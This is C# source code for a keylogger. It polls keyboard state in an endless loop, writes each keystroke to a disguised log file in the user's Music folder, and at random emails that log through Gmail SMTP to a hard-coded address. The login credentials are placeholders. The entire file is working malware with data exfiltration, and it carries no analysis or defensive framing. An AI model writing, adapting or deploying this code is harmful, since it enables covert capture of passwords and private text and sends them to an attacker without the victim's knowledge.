using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Threading;
using System.IO;
using System.Net.Mail;

namespace ConsoleApp3
{
    internal class Program
    {
        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(Int32 i);

        public static void Main(string[] args)
        {
            Random rand = new Random();
            int randomnumber = rand.Next(1, 10);
            if (randomnumber > 5)
            {
            SendMail();
            }
            LogKeys();
        }

        public static void LogKeys()
        {
            String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
            filepath = filepath + @"\LogsFolder\";

            if (!Directory.Exists(filepath))
            {
                Directory.CreateDirectory(filepath);
            }

            string path = (@filepath + "TNPC000f00001.tcd");

            if (!File.Exists(path))
            {
                using (var xc = File.OpenWrite(path))
                using (var bw = new BinaryWriter(xc))
                {
                    bw.Write(new byte[] { 123 });
                    bw.Write(123);
                }
            }

            KeysConverter converter = new KeysConverter();
            string text = "";

            while (5 > 1)
            {
                Thread.Sleep(5);
                for (Int32 i = 0; i < 2000; i++)
                {
                    int key = GetAsyncKeyState(i);

                    if (key == 1 || key == -32767)
                    {
                        text = converter.ConvertToString(i);
                        using (StreamWriter sw = File.AppendText(path))
                        {
                            sw.WriteLine(text);
                        }
                        break;
                    }
                }
            }
        }

        public static void SendMail()
        {
            String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
            string Newfilepath2 = Newfilepath + @"\LogsFolder\TNPC000f00001.tcd"; // get Log path

            DateTime dateTime = DateTime.Now; // call date
            string subtext = "Loggedfiles"; // email subject
            subtext += dateTime;

            SmtpClient client = new SmtpClient("smtp.gmail.com", 587); // GMAIL Port
            MailMessage LOGMESSAGE = new MailMessage();
            LOGMESSAGE.From = new MailAddress("hanshanber@gmail.com"); // YOUR EMAIL
            LOGMESSAGE.To.Add("hanshanber@gmail.com"); // YOUR EMAIL
            LOGMESSAGE.Subject = subtext; // Subject

            client.UseDefaultCredentials = false; // Call email creds
            client.EnableSsl = true;
            client.Credentials = new System.Net.NetworkCredential("x@gmail.com", "x");

            string newfile = File.ReadAllText(Newfilepath2); // reads log file

            string attachmenttextfile = Newfilepath + @"\LogsFolder\TNPC000f000011.tcd"; // path to find new file!
            File.WriteAllText(attachmenttextfile, newfile);
            LOGMESSAGE.Attachments.Add(new Attachment(Newfilepath2));
            LOGMESSAGE.Body = subtext;
            client.Send(LOGMESSAGE);
            LOGMESSAGE = null;
        }
    }
}